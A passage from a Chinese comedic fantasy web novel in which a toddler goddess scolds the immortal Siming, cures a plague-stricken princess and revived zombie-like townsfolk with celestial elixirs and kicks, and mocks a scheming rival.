不多时,司命便亲手制好了签,笑吟吟地捧到众仙面前:“各位,请吧!”
众仙战战兢兢地伸手,心里都在默念:不是我不是我不是我……
接着,颤抖的将签立在掌心,眯着眼睛小心翼翼地看着,生怕自己的命运,在这一刻被改写。
直到看到自己纸条上,写着美妙的“留”字,这才长长舒了一口气。
只有最后一个签,安安静静地躺在那里,等着制签的司命去拿。
众仙齐刷刷看向他,脸上挂着开心的笑容。
司命将签,颤抖的缓缓展开——
“去”。
司命脸上的笑容,一寸寸碎裂……
半晌。
他抬起手,狠狠抽了自己两耳光:“死嘴!让你多嘴!让你多嘴……”
众仙憋着笑,纷纷围上来,迫不及待地上前恭贺。
“司命啊,实至名归呀!”
“司命啊,众望所归呦!”
“司命啊,你放心去吧,咱们的宝贝都给你带上!”
说话间,一堆仙家宝贝劈头盖脸地砸过来。
月老塞给他一捆红线:“给给给!这些红线够小祖宗玩一年的!”
太白金星塞给他一面宝镜:“这个能照妖,让小祖宗拿着玩!”
太上老君更疯狂,颤颤巍巍从怀里掏出一个白玉瓶,郑重其事地塞进司命手里。
“司命啊,”老君依依不舍,“这是老臣压箱底的护元丹,一共就这几颗,你务必亲自交到小祖宗手里!”
“那宋城瘟疫横行,小祖宗虽说是仙体,可现在被封了法力,跟凡人无异。这丹药能保她百毒不侵,更能救城中百姓……”
司命捧着一堆宝贝,手都在抖:“我……我可真去了,你们,你们当真舍得?”
“有舍才有得啊!”众仙七手八脚就把他推到云层边,“看着也时辰不早了,小祖宗都快到宋城了,你赶紧的!”
“等……等等……”司命话还没说完,身后不知是谁,踹了他一脚。
他只觉得脚下一空,整个人直直往下坠。
耳边是呼呼的风声,和众仙越来越远的喊声——
“司命啊!保重啊!”
“记得替我们给小祖宗带好啊!”
“千万别惹她生气啊!”
“被她抽耳光的时候,你忍着点啊!”
司命一边往下掉,一边欲哭无泪……
此刻,他终于深刻领悟了小祖宗对天上那群狗东西的憎恶了!
大军浩荡前行,距离宋城已不足十里。
马车内。
许呦呦揉着眼睛,小嘴嘟囔,“凉,到了吗?”
“快了快了,”杨婉云替她理了理睡得翘起来的小呆**,“再睡会儿?”
许呦呦刚要摇头,忽然听到马车外传来一阵鬼哭狼嚎……
“小祖宗!小祖宗耶!我……我来看望你啦!”
这声音,听着凄惨又悲壮。
顾振宇当即一抬手,大军瞬间停下。
杨婉云眉头一皱,掀起帘子向外张望。
只见马车前方,一个蓬头垢面的身影被拦在马车外。
那人衣衫褴褛,头发乱得跟鸡窝似的,脸上还抹着几道黑灰,完全是一副被烧焦的样子。
此刻正拼命踮着脚,伸着脖子往马车这边张望,一看见帘子掀开,顿时眼睛一亮,搓着手,一脸讨好地扯着嗓子喊。
“小祖宗!是我啊!阿司啊,你的阿司啊……”
许呦呦一听到这声音,刚睡醒
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的小眼瞬间瞪得溜圆。
下一瞬,杨婉云只觉得怀里一空——那小人儿已经“嗖”地窜了出去,动作快得,简直就是要去**。
司命还没反应过来,就看见那小祖宗仰着小脑袋,圆溜溜的大眼睛瞪着他,小胸脯一起一伏,满脸戾气。
“呃……小祖宗,我……”
“泥!”
许呦呦抬起小短腿,照着他小腿就是一脚!
“嗷……”
司命应声倒地,抱着小腿在地上滚了一圈。
别看小丫头人小,那力气可是铆足了劲的。
“不做银滴狗东西!”许呦呦叉着小腰,居高临下地瞪着他,“泥居然送屎来啦?”
司命躺在地上,疼得龇牙咧嘴,还不忘陪着笑脸:“小祖宗,我……我这不是来看您了嘛……”
“康窝?”许呦呦又是一脚踹过去,“泥有辣么好滴心?当初谁骗窝下乃,嗦过好日子的?似不似泥?”
司命被踹得一边滚一边喊冤:“小祖宗,冤枉啊!当初我可没骗您哦!是他们……是他们那帮狗东西,不做人啊!”
“小祖宗您明鉴啊!我……我是好人,我心一直都是向着您的啊,不然我怎么会主动下来,给您送东西?”
许呦呦眯起眼,又是一脚踹过去:“就泥似好银?谁家好银,长这么磕碜?谁家好银,专门骗孩子?”
司命被踹得左右躲闪,心里那个苦啊。
我……我踏马这是造的什么孽啊!
正闹着,杨婉云已经下了马车,几步走过来,一把将许呦呦抱进怀里,警惕地盯着地上那个“乞丐”,厉声道:“好啊,你个死骗子,竟敢骗了我闺女?看我不打死你……”
许呦呦赶紧一把搂住她的脖子,小脑袋摇得跟拨浪鼓似的:“别别别!凉啊!他阔不能被打屎呀!”
打死神仙要遭天谴的,窝凉阔不能栽在这狗东西手上!
司命赶紧从地上爬起来,手忙脚乱地从怀里掏东西。
“小祖宗,您快看!我给您带宝贝来了!”
第92章 窝阔不似收垃圾滴
他一把扯开破破烂烂的外衣,露出里面鼓鼓囊囊的一个大包袱。
打开来,叮叮当当倒出一地东西——
红的线,白的镜,金的铃,玉的瓶,还有一堆叫不上名字的玩意儿,在阳光下闪闪发光,晃得人眼晕。
司命捧起那个白玉瓶,郑重其事地双手递上:“小祖宗,这是太……唔唔……辣个老东西压箱底的护元丹,一共就这几颗!服了这丹药百毒不侵……”
“来,爹爹,娘,冬梅姐姐,泥们一银一颗,都次都次!”
“对了,给窝漂亮哥哥,也送去一颗!”
“还有介些,冬梅姐姐,给他们都分一分!”
不等司命说完,小家伙就将护元丹倒了出来,大大方方地分给大家。
还从自己的小兜兜里,掏出一堆丹药,吩咐冬梅分给在场的将士们。
“小祖宗,那我呢?”司命眼巴巴地看着她。
“泥?泥阔以屎一屎的……”
司命:≡(▔﹏▔)≡
合着,我就是小命最贱的那个呗?
“好咧,东西窝收下了,”她小胖手一挥,剩下的宝贝就跟长了腿似的,嗖嗖往她怀里钻,“但似,不代表窝就原谅泥了!”
司命连连点头:“是是是!那肯定是不能原谅,小祖宗您生气是应该的!”
他眼珠子一转,满脸堆笑地凑上前地:“要不,小祖宗您给我个机会?把我留在您身边当个小厮,专门伺候您?”
许呦呦眼睛一瞪:“虾米?”
“泥似不似就见不得姑奶奶好?还想乃害窝?还要抢窝月银?”
司命吓得赶紧补充:“不要月银,不要月银!我给您当任劳任怨的免费小厮!您就赏我一顿饭就行!”
许呦呦小嘴一撇:“不要!窝阔不似捡垃圾滴!什么狗东西都收!”
司命被噎得差点一口气没上来。
垃圾?
狗东西?
他可是堂堂司命星君!
执掌人间生死福祸的司命星君!
现在……成了垃圾?
但这话他可不敢说啊,只能继续陪着笑脸:“小祖宗耶,您收了我,保管有大用!”
于是他掰着手指头数着:“我能给您讲睡前故事,保证每晚不重样!”
“我还能帮您断生死——您要看谁不顺眼,我立马把他十八代祖宗刨出来!”
“最重要的是,我还会点医术啊!”
他凑近一点,压低声音:“小祖宗您还记得不?上次您把我踹伤,我可是跟在药王那养了一年多,顺便把他那些医术偷偷学了些。”
许呦呦听着听着,小脸上的表情明显有些松动。
司命赶紧继续加码,“您把我带在身边,保证能给您逗趣听曲,为您排忧解难!”
小姑娘认认真真打量了他一眼,半晌,终于开口,看向杨婉云,小胖手指着司命:“凉,那就收下他吧。”
“扒用给钱哈,每天就赏他一碗饭,就行!”
杨婉云毫不犹豫地点点头,无条件信任自己的闺女。
许呦呦嫌弃地看了他一眼,小手一挥:“凉,找个银替他换件衣服吧,别丢窝滴银!”
于是,杨婉云便吩咐侍卫带他到最后面那辆马车里安顿。
半个时辰后。
大军抵达宋城的城门口。
城门紧闭,城墙上的士兵个个面黄肌瘦,眼神空洞,仿佛被抽干了精气。
空气中浓烟滚滚,弥漫着浓重的死亡气息。
顾振宇勒住缰绳,面色凝重。
许呦呦被外面的动静吵醒,从车窗探出小脑袋。
她看着那座阴气森森的城池,小眉头微微皱起。
城门上的士兵远远看见大军旗帜,先是愣了一瞬,随即爆发出震天的欢呼。
“是顾将军,顾将军来了!”
“朝廷派人来了,我们有救了!”
城门“哐”地打开了,几个守城士兵红着眼眶冲出来,扑通跪倒在地,声音都在发抖:“将军,你们终于来了……我们……还以为等不到了……”
顾振宇翻身下马,一把扶起他们,沉声道:“别担心,朝廷不会不管的。”
“小祖宗,咱……咱确定要进去吗?”司命抬头看着笼罩在宋城上空浓郁的黑气,吞了吞口水。
受天地法则影响,他现在,最多只是个毫无灵力的半仙啊!
而这小
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祖宗,连个半仙都不算啊!
这真要干起来,估计他这半仙,也得重入轮回。
“肿么?怂了?”许呦呦瞥了他一眼。
“凉,把他那乞丐服,还给他,让他自生自灭吧。”
“去去去,小祖宗,咱必须去,来来来,我第一个进去……”司命吓得赶紧队伍前面走去。
生怕这小祖宗,把他扔出去当乞丐。
一行人,刚进城。
就见庆王连滚带爬地冲了出来,一把抓住顾振宇的手,眼眶通红:“振宇!你可算来了!王妃她……她快不行了!”
顾振宇赶紧劝慰:“别急,我们带了太医,还有……”
话没说完,杨婉云已经抱着呦呦大步流星往里走:“人在哪儿?带路!”
庆王二话不说,赶紧在前面领路。
杨婉云边走边吩咐:“刘院正,跟上!”
太医院刘院正背着药箱,气喘吁吁地跟在后面。
刚踏进护城将军府。
一进门,浓重的药味扑面而来,混着一种说不出的腐朽气息。
只见床上,庆王妃奄奄一息地躺着,面色惨白如纸,又烧得人事不省。
几个郎中围在床边,连连摇头,脸色一个比一个难看。
“王妃这病,怕是……”为首的郎中欲言又止。
庆王眼圈又红了。
可是,他还是犹豫了一下,压低声音对杨婉云说:“杨夫人,这种时候,本不欲将你们母女带进来。可是王妃昏迷前,一直在念叨呦呦……”
说着说着,声音都开始哽咽了:“我……我实在没办法,只能……”
杨婉云明白他的意思。
他是怕这瘟疫传染给她们母女。
她摇了摇头:“王爷不必多虑,我们既然来了,定当尽全力救王妃。”
说着,便要让刘院正上前。
却被许呦呦肉乎乎的小胖手拦了下来。
只听小家伙扯着嗓子喊了一声:
“阿司啊——泥乃!”
门外,一个灰扑扑的身影连滚带爬地冲进来。
“来了来了!小祖宗,我来了!”
许呦呦小手一指床上:“泥,给她康康。”
第93章 好像次多了
司命麻溜地坐到床边,有模有样地给庆王妃的搭脉。
只见他时而闭上眼睛,时而眉头皱起……
半晌,他睁开眼,一脸深沉:“王妃这是感染了时疫,邪毒入体,五脏俱损,气血两亏,阴阳失调,经络不通,再加上连日高烧不退,已伤及根本,若不及时救治,恐怕……”
许呦呦小脸一黑:“嗦银话!”
司命一哆嗦,赶紧改口:“就是王妃感染了时疫,情况比较严重,再不治就危险了。”
许呦呦翻了个白眼:“净说些废话!”
司命:……
这不是你让我说的?
小姑娘懒得看他一眼,不慌不忙地从怀里掏出那个白玉瓶,倒出一颗圆溜溜、莹润润的丹药,送到庆王妃嘴边。
“次吧次吧,那帮狗东西,虽然不做银,但似东西还似好东西!”
司命:…(⊙_⊙;)…
这不是赤裸裸地耍他嘛!!
片刻后。
只见,庆王妃那张惨白如纸的脸,以肉眼可见的速度恢复红润。
干裂的嘴唇渐渐有了光泽,急促的呼吸慢慢平稳下来,连紧皱的眉头都松开了。
刘院正瞪大了眼睛,嘴巴张得能塞下一整个鸡蛋。
他行医几十年,从未见过如此神效的药物!
庆王更是紧张地攥紧了拳头,大气都不敢出。
又过了几息。
庆王妃的睫毛颤了颤。
然后——
缓缓睁开了眼睛。
她茫然地看着床顶的帐子,又慢慢转头。
当看到床边那张粉粉糯糯的小脸时。
眼泪,瞬间涌了出来。
“呦呦……”她的声音沙哑虚弱,却带着劫后余生的激动,“姨姨刚才……都看见黑白无常了呀……他们就站在床头,朝我招手……”
许呦呦拍了拍庆王妃高高隆起的肚子,一本正经地说:
“姨姨放心,介三,窝罩滴!他们阔不敢收!”
庆王更是激动的直跳,忍不住扑过来:“王妃啊,你可算醒了,真是吓死为夫了……”
他张开双臂就要抱上去——
“啪!”
一巴掌,干脆利落,结结实实拍在庆王脸上。
庆王被打得原地转了一圈,捂着脸,一脸懵逼。
庆王妃瞪着他,声音虽然虚弱,却中气十足:“你……你还有脸抱我?谁让你把婉云和呦呦带进来的?万一传染了怎么办?”
庆王捂着红肿的脸,委屈巴巴:“我……我这不是没办法吗?你昏迷前一直喊呦呦的名字,我……”
“我喊你就带?”庆王妃又是一巴掌呼过去,“我喊你**,你去不去?”
庆王:……
众人:……
这……这哪里是刚苏醒啊,这分明就是好得能跑二里地啊!
最后,庆王还是不放心地让刘院长,为庆王妃再把脉瞧瞧。
片刻后,刘院正抬起头,脸上满是不可思议:“王妃的脉象……平稳有力,邪毒已退,不仅正气回升,火力还很强劲,下官给开几副药,败败火即可。”
许呦呦心头小小一惊:哎呀,好像……好像次多了!
庆王夫妇的心,彻底放了下来。
杨婉云上前拉住庆王妃的手,好生交代她要好好养胎,便抱着呦呦,准备离开。
“王妃好好休息,我们还要去看看城里的情况。”
庆王妃连连点头,依依不舍,又一脸担忧地松开手:“你们一定要小心……这城里,情况很严重。”
而此时。
顾振宇这边的情况,简直糟糕至极。
这里的集中隔离点设在城东的一片空地上,四周用木栅栏围起来,里面搭着几顶简陋的帐篷。
还没走近,就听见里面传来一阵阵嘶吼声,跟野兽似的,听得人头皮都发麻。
一进院子,就看到几十个人被铁链锁着,一个个眼睛通红,嘴角露出尖锐的獠牙,嘴里发出“嗬嗬”的怪声。
他们的动作一抽一抽的,却异常凶猛,拼命挣扎着,铁链被扯得哗哗作响。
最前面那个,身形高大,面容狰狞,一双猩红的眼睛死死瞪着来人,喉咙里滚出低沉的咆哮。
他凶狠地往前一扑,铁链绷得笔直,差点被他挣开
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。
顾振宇下意识往后退了一步。
旁边,玄清道长盘腿坐在离那怪物不远的地方,双手飞快掐诀,嘴里念念有词,额头上的汗珠也滚滚而落。
纵使道袍都被汗水浸透了,贴在身上,他也压根不敢停。
“臭道士,撑得住吗?”顾振宇担忧地问道。
玄清道长咬着牙,从牙缝里挤出几个字:“贫道……尽力……”
话音未落,那怪物又是一声怒吼,铁链哗啦啦响,玄清道长身子一晃,嘴角渗出一丝血迹。
就在这时,杨婉云抱着呦呦赶到了。
她一眼看见满院子疯狂躁动的怪物,倒吸一口凉气,下意识把呦呦搂紧了。
顾振宇赶紧走上前,挡在她面前:“别怕,我在这,他们动不了你们。”
守城的李将军快步走过来,满脸疲惫,眼眶熬得通红:“顾将军,你们可算来了。”
他指着那些被锁着的怪物,声音发涩:“这些……都是城里死而复生的人……”
顾振宇一愣:“死而复生?”
李将军点点头,赶紧把事情的来龙去脉说了一遍。
“瘟疫爆发后,**很多人。我们怕尸体处理不当会加重疫情,就把第一批尸体集中焚烧了。烧完之后,城里的情况确实好了不少。”
“可是第二批尸体刚集中起来,还没来得及烧,只一夜时间,这些尸体竟然自己活了!一个个竟然都走回家,就跟没事人似的。”
“家里人高兴坏了,以为老天开眼。可没两天就发现不对劲——这些人不吃不喝,不会说话,只会发出‘嗬嗬’的声音,眼睛越来越红,还长出獠牙,见人就咬!”
他指着那些怪物,手都在抖:“被咬的人,没过多久也变成这样。比瘟疫传得还快!我们想把他们集中起来,可老百姓不干啊,把自家变成这样的亲人藏在家里……”
“这些,是我们费了九牛二虎之力才弄进来的……”
顾振宇听完,面色铁青。
他看向那个最凶猛的怪物——那家伙还在疯狂撞击枷锁,铁链都快被他挣断了。
第94章 这三脚,他熟啊!
玄清道长一张符纸打过去,落在他身上,跟挠痒痒似的,毫无作用。
“他是谁?”顾振宇皱眉,“为何玄清道长都镇不住他?”
李将军深深叹了口气:“哎,他啊,老刺头了,攻击性最强的就属他,就是一直不知道,他竟然是玄清道长的师兄——玄明道长。”
顾振宇一愣。
师兄?
难怪玄清道长脸色那么难看,合着是在跟仇人师兄较劲啊!
“泥,臭道屎,给窝闭嘴!”
许呦呦从杨婉云怀里滑下来,迈着小短腿,“噔噔噔”冲到玄明道长面前。
只见小脸绷得紧紧的,两个小揪揪都带着一股奶凶的杀气。
在众人还没反应过来的时候,她已经抬起小短腿——
“砰!”
一脚踹在张牙舞爪的玄明道长小腿上。
“砰!”
又一脚。
“砰砰砰!”
连踹三脚,踹得那叫一个干脆利落。
正在凶狠扑腾的玄明道长,被这三脚踹得一个趔趄,红眼珠子瞪得溜圆,张嘴就要吼——
突然,他就顿住了。
片刻后,那血红的眼睛,竟一点一点清明起来。
狰狞的面容慢慢变得平和,甚至嘴角的獠牙缓缓缩了回去,绷紧的肌肉也松了下来。
他茫然地站在那儿,低头看看自己的手,又抬头看看四周,一脸懵逼。
“我……我这是在哪儿?”
声音虽沙哑,却不再是那种恐怖的“嗬嗬”声。
玄清道长正掐诀念咒,被他这一变化,吓得猛地一抬头。
只见师兄正站在他面前,满脸困惑地看着他。
玄清道长愣了一瞬,然后——
“噗!”
一口老血喷了出来,鲜血溅在地上,触目惊心。
玄明道长吓了一跳,赶紧上前扶住他:“师弟……师弟啊,你这是怎么了?受伤了?”
他满脸担忧,手足无措,脸上都是愧疚。
许呦呦叉着小圆腰,瞥了一眼玄明道长,奶声奶气地开口:
“他啊,被泥气得。”
“泥介个臭道屎,也不似东西。泥滴白月光,照得泥头上绿油油滴,泥还心甘情愿当草原。”
玄明道长老脸瞬间通红。
他下意识看了玄清道长一眼,又赶紧低下头,眼神躲闪,恨不得找个地缝钻进去。
玄清道长看着师兄那副心虚的样子,一股邪火直往上窜。
当年,要不是师兄为了什么“真爱”把他打晕跑路,他能被困在三清观十年?
结果呢?
被那“真爱”骗得裤衩都不剩,还把自己搞成这副鬼样子!
玄清道长越想越气,胸口又开始疼了。
许呦呦看着他那副要死不活的样子,小眉头一皱,走过去——
“砰砰砰!”
又是连踹三脚。
踹得结结实实。
“泥也不似个东西,就介点能耐?”
“念个经,就能把寄几念吐血?”
“果然,臭道屎,米一个好东西!”
玄清道长被踹得一个趔趄,差点摔个狗啃泥。
他捂着被踹的地方,龇牙咧嘴,正要喊冤——
忽然,他就愣住了。
只觉得一股暖流从脚底直冲天灵盖,浑身经脉像是被洗了一遍,通体舒畅。
苍白的脸色以肉眼可见的速度红润起来,干涸的灵力在体内奔涌,比之前任何时候都要充沛!
他深吸一口气,只觉得浑身充满了力量,就跟打了鸡血似的,精神得不得了!
“这……这……”
他瞪大眼睛,不敢置信地看着许呦呦。
许呦呦拍拍小手,一脸嫌弃:“就介点能耐,还救银?这就似来丢银滴。”
玄清道长:“……”
一旁的司命,看得心惊胆战,眼角直抽抽。
这三脚,他熟啊,那是相当熟啊!!
当年自己修炼到瓶颈,死活都突破不了,急得头发都白了。
在一次强行运功想要突破瓶颈时,差点走火入魔。
当时小祖宗走过来,二话不说。
“砰砰砰!”
就是连踹三脚!
他的瓶颈,竟然通关了。
为此,他也在药王那,养了足足一年呐。
玄清道长此时正摸着身上被踹的地方,看着院子里其他怪物还在那儿张牙舞爪,红着眼珠子拼命挣扎。
他眼睛一亮,赶紧凑到许呦呦面前,满脸堆笑:“小祖宗,要不,您给他们每人来一脚吧!”
“贫僧觉得,这法子又快又好使!一脚一个,保管药到病除
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!”
许呦呦小脸一黑:“泥嗦虾米?”
“泥介个臭道屎,窝救了泥,泥却拿**报仇窝啊。”
“一银一脚,辣不得累屎宝宝呀!”
“果然,臭道屎,就米一个好东西!”
玄清道长讪讪地缩了缩脖子。
许呦呦却突然小手一指:“阿司啊,泥乃试试康!”
司命一个激灵,从柱子后面探出脑袋,哭丧着脸:“小祖宗耶,我下来的时候,所有仙……唔唔……那啥,有用的力气都被封住了。别说踹了,就是打,我都打不过他们呀!”
他一边说,一边疯狂吐槽。
这踏马狗屁的天地法则,让他连话都说不完整,更别提用法力了。
许呦呦嫌弃地看了他一眼:“废物,又一个米用的东西。”
司命:……
许呦呦小手伸进怀里,掏了掏,掏出一把圆溜溜的丹药。
那丹药莹润润的,散发着淡淡的光,一看就不是凡品。
她大大方方地扔给司命:“拿去煮了,给他们喝了,介个,泥会吧?”
司命手忙脚乱地接住,低头一看,差点没站稳。
这可是太上老君压箱底的宝贝啊,他亲眼看着老君当时藏得有多严!
只是,谁能想到全在这小祖宗这了,而且还跟不要钱似的,一把一把往外掏!
“会会会!”他连连点头,生怕小祖宗反悔,“这个配方我都会!小祖宗放心,我保证煮得一锅好汤!”
说罢抱着丹药,撒腿就跑。
顾振宇站在一旁,看着满脸震惊、嘴巴张得能塞下鸡蛋的李将军,轻轻拍了拍他的肩膀。
“李将军,今日之事,你应该知道如何上报?”
他声音不大,却字字清晰。
“有些事,看到了,烂在心里才安全。”
李将军一个激灵回过神来,连连点头,抱拳道:“顾大将军放心!今日之事,都是玄清道长法力高深,救了全城百姓!臣明白,臣什么都明白!”
他一边说,一边擦着额头的冷汗。
顾振宇满意地点点头。
见事情解决得差不多了,顾振宇和杨婉云便带着许呦呦回了李将军府上。
还没进门,就听见里面传来中气十足的女声,噼里啪啦地咆哮着。
第95章 好大一杯绿茶咧
“滚开,狗男人!”
只听庆王妃一声怒喝,庆王吓得一哆嗦,赶紧凑上前,满脸堆笑:“夫人啊,我……我可什么都没做啊!”
“夫人啊,你千万别生气了,你要是再生气,就打我两巴掌,可别把自己给气坏了!”
庆王妃冷笑一声:“你没做?没做,她怎么会靠在你身上?”
庆王急得直跺脚:“夫人啊,你听我给你解释啊!她当时被衣裙绊了一下,差点摔倒,我连拉都没去拉,我还往后跳了呢,为夫生怕被这脏东西碰上!结果她死拽着我衣角不放!不信你问问阿莱!”
旁边的小厮阿莱点头如捣蒜:“王妃明鉴!王爷真的往后跳了!跳得可远了!小的亲眼看见的!”
庆王一脸委屈:“夫人呐,我是清白的啊……”
一旁跪在地上的女子,哭得梨花带雨。
只见她一身鹅黄衫裙,打扮得花枝招展,发髻上还簪着一朵鲜红的绢花,看着就是精心装扮过的。
“王妃饶命啊!民女真不是故意冲撞王爷的。”她磕头如捣蒜,“民女就是太担心王妃了,特意熬了药过来,没想到脚下不稳,差点摔倒……民女该死!民女知错了!”
庆王妃看着她,冷笑不语。
就在这时,她抬头看见杨婉云抱着呦呦进了门,脸色瞬间多云转晴,热情地迎上去。
“婉云!你们可算回来了!没事吧?有没有受伤?”
杨婉云摇摇头:“没事,都解决了。”
庆王妃这才松了口气,拉着她的手往里走。
许呦呦趴在杨婉云肩上,歪着头看了一眼地上跪着的女子,忽然“噗嗤”笑出了声。
“呦,好大一杯绿茶咧!”
庆王妃一愣:“呦呦,绿茶?什么绿茶?”
许呦呦一本正经:“就似辣种,装阔怜,演阔爱,爱掉泪,爱自责,背地里却一肚子坏水滴女银。窝以前见的阔多啦!
她小胖手指着李芷兰,笑眯眯地补了一句:“姨姨,介绿茶阔不好喝,咱不喝哈!”
庆王妃被她逗得“噗嗤”一笑,心里的火气顿时消了大半。
庆王在旁边心里暗暗叫好:小郡主,你可真是我的救命恩人啊!
恶狠狠地瞪了李芷兰一眼:这狗屁玩意儿,是在害我啊!
李芷兰被那眼神吓得一哆嗦,哭都不敢哭了。
就在这时,李将军从外面急急冲了进来,“扑通”一声跪在地上,额头磕地咚咚响。
“王爷!王妃!臣教妹无方,罪该万死!”
他诚心道歉:“舍妹平日骄横惯了,若是冲撞了王爷王妃,臣定不会宽恕!只求王爷王妃留她一命!”
庆王妃看着李将军,叹了口气。
这李将军,守城七天七夜没合眼,为了百姓殚精竭虑,确实是个好将军。
于是她摆摆手:“李将军请起。这些日子你对朝廷的忠心,对本王妃的照拂,本王妃都记在心里。”
李将军浑身一震,“王妃,这是属下应当做的……”
接着庆王妃看着跪在地上的李芷兰,缓和了语气道:“今日之事,看在李将军的份上,本王妃不与你计较。”
李芷兰如蒙大赦,正要磕头谢恩——
庆王却突然开口:“王妃宅心仁厚,本王却不能轻饶。”
他冷冷看着李芷兰:“惹得王妃不高兴,死罪可免,活罪难逃。来人!”
“将她刚才拽本王衣角的那只手,打五十板子!”
李芷兰脸色瞬间惨白,哭喊着:“王爷饶命!王妃饶命!”
李将军赶紧磕头:“谢王爷王妃开恩!”
于是,赶紧让侍卫上前,把哭天喊地的李芷兰拖了下去。
庆王赶紧搓着手凑过来,满脸讨好:“夫人,就算你给我一百个胆子,我也不敢啊!你千万别生气了!你这刚好,为了这无关紧要的人,生气不值当啊!”
他伸手要去扶庆王妃——
“滚!”
庆王妃一个白眼瞪过去,声音冷得能结冰:“本王妃才不要脏了的狗男人碰!”
庆王的手僵在半空,哭丧着脸:“夫人……”
“阿莱!”他转身喊,“本王现在就去沐浴,记得把这身衣服拿去烧了,务必烧得干干净净!”<
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br>阿莱赶紧应声:“是是是!小的这就去准备!”
庆王一溜烟跑了。
杨婉云看着他的背影,忍不住笑了:“王妃,王爷对你倒是真心。”
庆王妃摆摆手,笑着叹了口气:“婉云,你放心,我没事。这点小伎俩,在我面前还不够看的。”
“我就是气他蠢,什么阿猫阿狗都敢往跟前凑。”
她拉着杨婉云的手往里走:“不说这些了,你们一路奔波,还没吃饭吧?我让人备了饭菜,快去吃!”
然后又低头看许呦呦,眼里满是慈爱:“呦呦,姨姨让人做了好多好吃的,有你最爱的鸡腿!”
许呦呦眼睛一亮:“好耶好耶!辣阔是窝滴最爱!”
饭桌上,许呦呦一口气炫了五个鸡腿,小嘴塞得满满当当,腮帮子鼓得像只小仓鼠。
杨婉云眼皮突突直跳,赶紧拦住她伸向猪蹄的小手:“够了够了,再吃要撑坏了。”
许呦呦依依不舍地缩回手,拍了拍圆滚滚的小肚子,打了个饱嗝:“好趴,窝次饱啦。”
她从椅子上滑下来,冲冬梅招招手:“冬梅姐姐,肘,带窝去消消食。”
杨婉云点点头:“别跑太远。”
“知道啦!”
许呦呦迈着小短腿,带着冬梅就往后院花园去了。
花园里,月光清冷,树影婆娑。
许呦呦刚拐过假山,就听见前面传来一阵低低的骂声。
“哼!当王妃就了不起嘛!”
那声音又尖又细,带着咬牙切齿的恨意:“她不是要**吗?怎么又活过来了?真是命硬!”
旁边一个小丫鬟吓得声音都在抖:“小姐,您别说了!小心被人听到!”
“听到又怎么样?”李芷兰的声音更大了,“这里是我家!在我家说话,还要看别人脸色?”
她狠狠啐了一口:“就算活过来又怎样?年老色衰的,有什么好猖狂的?要不是她命好,肚子里揣了崽,说不定王爷早把她休了!”
小丫鬟急得直拽她袖子:“小姐,求您别说了!刚才那五十板子,您的手还肿着呢……”
第96章 你想叛出师门?
“闭嘴!”李芷兰一把甩开她,声音里满是怨毒,“银杏,我告诉你,我不会放过那个**的!总有一天,我要让她跪在我面前求饶!”
许呦呦躲在假山后面,小脸气得鼓鼓的。
她扎个马步就要往外冲:“介绿茶,窝……窝要撞屎她!”
冬梅吓得一把将她抱起来,死死捂住她的小嘴。
“唔唔唔——”小家伙在冬梅怀里挣扎,小拳头在空中挥舞,奶凶奶凶的,活像一只炸毛的小奶猫。
冬梅赶紧劝:“小郡主,夫人说了,出门在外,多一事不如少一事。咱们先忍忍哈,看看她到底要整什么幺蛾子?”
梅抱着还在骂骂咧咧的小姑娘,脚底生风,赶紧回了厢房。
小家伙依然骂骂咧咧地准备入睡,就听到前院传来一阵骚动。
许呦呦“噌”地坐起来:“冬梅姐姐,肘!康康去!”
冬梅二话不说,抱起她就往前院走。
等她们赶到,就看到顾振宇和庆王正带着人急急忙忙往外走,个个面色凝重。
“凉!咋滴啦?”许呦呦从冬梅怀里探出小脑袋。
杨婉云赶紧迎上来,神色担忧:“隔离点出事了,四皇子差点被那群怪物伤到,玄清道长他们的、……”
“嗖~~”
话还没说完,冬梅就觉得怀里瞬间空了……
只见一个那个小团子风一样地窜了出去,小短腿倒腾得跟风火轮似的。
“诶诶,小郡主!您慢点!”冬梅在后面追,“四皇子没事!就是差点被伤到,他真的没事哈!”
小家伙哪里还听得进去,小腿舞动的速度,让冬梅愣是追不上。
此时的隔离点,已经乱成了一锅粥。
院子里几十个怪物疯狂挣扎,铁链被扯得哗哗响,红眼珠子在黑暗中闪着诡异的光。
四皇子萧景瑜正护着一个侍卫往后退,衣角被撕破了一块,脸上还沾着不知道谁的血。
玄清道长捂着右手背,龇牙咧嘴——上面一排牙印,还在往外渗血。
司命蹲在墙角,揉着脑袋上撞出来的大包,疼得直抽抽。
地上碎了好几个药碗,药汤洒了一地,混着泥巴,踩得到处都是。
“这药根本灌不进去!”一个侍卫捂着被撞青的胳膊,满脸无奈。
“这些怪物力气太大了,四皇子您别靠太近,危险!”
萧景瑜摇摇头,目光坚定:“没事,再来。”
他接过一碗药,正要上前——
“砰!”
大门被一脚踹开。
一个圆滚粉嫩的小身影出现在门口,两个冲天的小揪揪,和气鼓鼓的腮帮子,无不彰显此刻的愤怒值。
“嗦!谁?似谁伤了窝漂亮得得?”
奶声奶气的一声吼,却震得整个院子瞬间安静了。
那些疯狂挣扎的怪物,动作齐齐一顿。
许呦呦迈着小短腿,“噔噔噔”冲到离她最近的一个怪物面前,抬手就是一巴掌。
“啪!”
“嗦!似不似泥?”
那怪物被打得脑袋一歪,红眼珠子瞪得溜圆……
“啪!”
又一巴掌。
“还似泥?”
“啪!”
“还似泥?”
一巴掌接一巴掌,抽得那叫一个干脆利落。
那群怪物被抽得晕头转向,却愣是没敢吼出来。
全场死寂。
许呦呦抽完一个,叉着小腰,转身看向其他怪物,小脸绷得紧紧的:
“泥!吼虾米?”
“泥!给姑奶奶闭嘴!”
“还有泥们!都给窝乖乖把药喝了!”
那些怪物你看看我,我看看你。
然后——
竟然乖乖地蹲下身,端起地上的药碗,一饮而尽。
喝完了还砸吧砸吧嘴,把碗底舔了。
众人:……
四皇子回过神来,赶紧蹲下身,轻轻把她抱起来,“呦呦,哥哥没事,他们伤不了我分毫的。”
许呦呦不信,拉着他上上下下检查了一遍,确认连个指甲盖都没破,这才松了口气。
可小脸还是绷着,小拳头攥得紧紧的:“分毫?半分都扒行!”
四皇子心里软得一塌糊涂,慌忙低头给小姑娘吹吹红彤彤
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的小手:“不气不气哈,哥哥没事,哥哥可以保护呦呦的。”
一旁的玄清道长站在角落里,看看自己手上的牙印,又看看那群乖的像鹌鹑一样的怪物。
他深吸一口气,悄悄拉了拉顾振宇的袖子。
“将军,贫道想跟你商量个事。”
顾振宇斜眼看他:“你个臭道士,连个药都喂不进去,能有啥事?”
玄清道长搓着手,一脸谄媚:“贫道想……拜小祖宗为师,你看行不?”
顾振宇:……
